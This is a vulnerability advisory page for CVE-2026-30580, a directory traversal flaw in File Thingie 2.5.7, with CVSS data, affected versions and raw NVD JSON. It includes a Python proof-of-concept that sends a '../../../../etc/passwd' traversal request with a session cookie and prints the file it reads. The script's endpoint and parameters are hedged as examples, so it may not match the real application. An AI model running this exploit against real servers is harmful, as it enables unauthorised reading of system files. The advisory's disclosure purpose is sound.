Security Vulnerability Report
中文
CVE-2026-30580 CVSS 4.3 MEDIUM

CVE-2026-30580

Published: 2026-03-20 18:16:13
Last Modified: 2026-04-01 19:01:35

Description

File Thingie 2.5.7 is vulnerable to Directory Traversal. A malicious user can leverage the "create folder from url" functionality of the application to read arbitrary files on the target system.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:leefish:file_thingie:2.5.7:*:*:*:*:*:*:* - VULNERABLE
File Thingie 2.5.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_cve_2026_30580(target_url, session_cookie): """ PoC for CVE-2026-30580 Directory Traversal in File Thingie 2.5.7 Exploits the 'create folder from url' functionality to read arbitrary files. """ # Example target endpoint (may vary based on installation) endpoint = f"{target_url}/filethingie.php" # The payload attempts to traverse to the /etc/passwd file using relative paths # Adjust the traversal depth ("../") based on the target's directory structure malicious_file_param = "../../../../etc/passwd" # Data payload mimicking the 'create folder from url' action payload = { "action": "createfolder", "file": malicious_file_param } # Headers including the session cookie (required as per PR:L) headers = { "Cookie": f"PHPSESSID={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200 and "root:" in response.text: print("[+] Exploit successful! Arbitrary file read detected.") print("[+] Response content:") print(response.text[:500]) # Print first 500 chars else: print("[-] Exploit failed or target not vulnerable.") print(f"Status Code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") # Usage Example (Do not use without authorization) # exploit_cve_2026_30580("http://target-ip", "valid_session_id")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-30580", "sourceIdentifier": "[email protected]", "published": "2026-03-20T18:16:13.433", "lastModified": "2026-04-01T19:01:34.523", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "File Thingie 2.5.7 is vulnerable to Directory Traversal. A malicious user can leverage the \"create folder from url\" functionality of the application to read arbitrary files on the target system."}, {"lang": "es", "value": "File Thingie 2.5.7 es vulnerable a Salto de Directorio. Un usuario malintencionado puede aprovechar la funcionalidad 'crear carpeta desde url' de la aplicación para leer archivos arbitrarios en el sistema objetivo."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:leefish:file_thingie:2.5.7:*:*:*:*:*:*:*", "matchCriteriaId": "AEFFC71B-7FE1-4570-AA17-5E9E300B8EA9"}]}]}], "references": [{"url": "https://github.com/SpeWnz/Vulnerability-Research/tree/main/CVE-2026-30580", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/leefish/filethingie", "source": "[email protected]", "tags": ["Product"]}]}}